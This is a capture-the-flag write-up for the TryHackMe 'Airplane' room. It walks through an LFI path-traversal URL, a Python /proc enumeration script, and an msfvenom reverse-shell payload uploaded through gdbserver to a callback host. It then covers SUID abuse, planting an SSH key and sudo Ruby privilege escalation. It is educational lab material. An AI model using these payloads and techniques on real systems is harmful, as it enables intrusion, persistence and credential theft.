TryHackMe – Airplane

Source room:

https://tryhackme.com/r/room/airplane

Airplane is another tagline-only room at TryHackMe with the description of “Are you ready to fly?” Let’s fly!

I am testing on a Kali VM with a VPN connection to TryHackMe. With the VPN connected and room instance launched, I started by running an nmap scan against the target machine. The results showed SSH open on its default port and an HTTP server running on port 8000. There was also an unknown port listening on 6048. A script scan found no identifiable services on that port.

Loading the target in a web browser on port 8000 loaded a single HTML index page about airplanes. Reviewing the source code didn’t show anything interesting.

Looking at the URL, it appears that the site is using PHP to load a specified local file. If this isn’t configured properly, it could pose a potential local file inclusion (LFI) directory transversal vulnerability that allows an attacker to load navigate the target filesystem and load arbitrary files. To test this, I tried to access the /etc/passwd file by backing out a large number of directories to get to the drive root and then move forward into the /etc folder. I placed this command in the address bar and attempted to load it:

airplane.thm:8000/?page=../../../../../../../../../../../../../etc/passwd

The web browser downloaded a 3KB passwd file from the target. This confirmed the LFI vulnerability presence. Opening the file, I identified two users present on the system: carlos and hudson. I attempted to access the privileged /etc/shadow file but received a 500 Internal Server Error response, so the web server is not running as root.

I ran gobuster against the site and identified an “airplane” directory but was unable to identify anything of significance. There appeared to be only one page showing a spinning “Let’s fly” text animated through the source HTML code and nothing exploitable.

The SSH port could be useful later on, but the software version was not vulnerable and I still had no credentials.

The mystery port was the only remaining attack surface. Telnet and NC didn’t return any banners from the service so I did some research and realized that I could use the LFI vulnerability to browse the /proc folder on the target. The /proc folder contains information about the running processes on the system, like a flat-file representation of the ps command output. I ran a request to load the /proc/net/tcp file through BurpSuite and confirmed that I had permission to access this folder.

The /proc/net/tcp output doesn’t show the process PID listening on the port, though. To find this, I have to search through each /proc/{PID} subfolder to see which application was launched on that port. Leveraging ChatGPT to create a Python script, I tweaked some logic and got a script that would iterate through a numeric range of subfolders and search the cmdline file for the matching port. Below is the script I ran against the target machine and it identified a gdbserver listening on port 6048. Now that I know what service is listening, I can start searching for an exploit!

import requests

def search_in_tcp_file(filename, search_string):
    with open(filename, 'r') as file:
        for line in file:
            if search_string in line:
                return True, line
    return False, ""

def main():
    base_url = "<http://airplane.thm:8000/?page=../../../../proc/>"
    for i in range(1, 60001):
        url = f'{base_url}{i}/cmdline'
        port = "6048"
        
        try:
            response = requests.get(url)
            if response.status_code == 200:
                if port in response.text:
                    print(f"Process identified with PID {i}")
                    print(response.text)
                    return
        except FileNotFoundError:
            continue

if __name__ == "__main__":
    main()

Side note: I did spend a lot of time researching if there was a way to identify a process listening on a port if it had been launched without an explicit port number (i.e., specifying a configuration file instead). If this were the case, the above script would have not found anything because the port would not have been given in the cmdline file. I tried a handful of approaches on my own machine but was unable to find a way to correlate PID to listening port through the /proc folder alone without command line access.

Back to the gdbserver port! I found the hacktricks.xyz site had a section on exploiting remote gdbserver. Metasploit also had a module with a “Great” rating, but I’m preparing for the OSCP certification and trying to focus more on manual exploitation since I’m already solid with metasploit. I followed the hacktricks.xyz instructions to generate a msfvenom payload, make it executable, start gdb debugger and configure it to use the target machine, upload, and execute my payload.

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.13.51.111 LPORT=4444 PrependFork=true -f elf -o exploit.elf
chmod +x exploit.elf
gdb exploit.elf
target extended-remote 10.10.97.244:6048
remote put exploit.elf /tmp/exploit.elf
set remote exec-file /tmp/exploit.elf
run

I had to reset the room once because when I first tried the remote put command, I received an I/O error from the target machine and could not continue. After the reset, the file uploaded successfully and I was able to upload the payload and execute it. I caught a shell as the hudson user on my Kali box and stabilized it using the Python3 method. There were no files in the user’s home folders so this wasn’t who I had to get the user flag from. It must be under the carlos user.

Searching for privilege escalation and lateral movement avenues, I identified that the /usr/bin/find binary had the SUID bit set. The owner was carlos so exploiting this would give access to the system as that user.

I ran the SUID exploit command from GTFOBins and obtained a new shell as the carlos user. Now I could see and cat the flag from the user.txt file.

Although the shell is running as carlos, it still inherits a number of hudson‘s attributes. To get full access as carlos, I have to obtain a new session somehow. I do have write permissions as carlos to his home folder so I can utilize the SSH port discovered earlier to establish a session as that user. I need to generate a SSH keypair, add it to the carlos user’s authorized_keys file, place the private key on our machine, and then will have the ability to connect via SSH as the carlos user.

Still in the carlos shell, I ran the ssh-keygen command to generate a new key pair. I had to specify the keys to save in /home/carlos/.ssh instead of the default location. I cat the id_rsa file and pasted the contents into a file on my local Kali machine and had to chmod 600 that file so the SSH binary wouldn’t complain. On the target, I also had to run cat id_rsa.pub >> authorized_keys to allow the target machine to accept the SSH key.

Finally I was able to SSH into the target using the key I just generated and obtained a session as carlos. Checking the user’s groups, I noticed he was a member of the sudo group which would greatly help the escalation to root. The user could execute Ruby scripts located in the /root directory with sudo permissions, but did not have read or write permissions to that directory.

Luckily, I already exploited something like this earlier in the room. I can use the double dot directory transversal ability to specify a Ruby script that’s not actually in the /root directory but instead is in one I control.

At first I was trying to execute a Ruby reverse shell to my machine but realized that I only have to read a file that’s already been specified for me. A Ruby one-line script is enough to read the file contents and obtain the root flag.

While that’s enough to complete the room, how about using this to actually accomplish something useful, like reading the shadow file to dump user password hashes? Done!

Summary:

Starting with the LFI directory transversal vulnerability on the web server, I was able to identify a vulnerable semi-obfuscated gdbserver service running on the machine and exploit that to gain a shell as the hudson user. A SUID misconfiguration allowed lateral movement into the carlos user account. Finally a sudo permission on the carlos account allowed execution of an arbitrary Ruby script that compromised the root flag.

Cross-posted to my Medium profile at: https://medium.com/@cyberlarry/airplane-tryhackme-room-writeup-0d6acdb2ac3f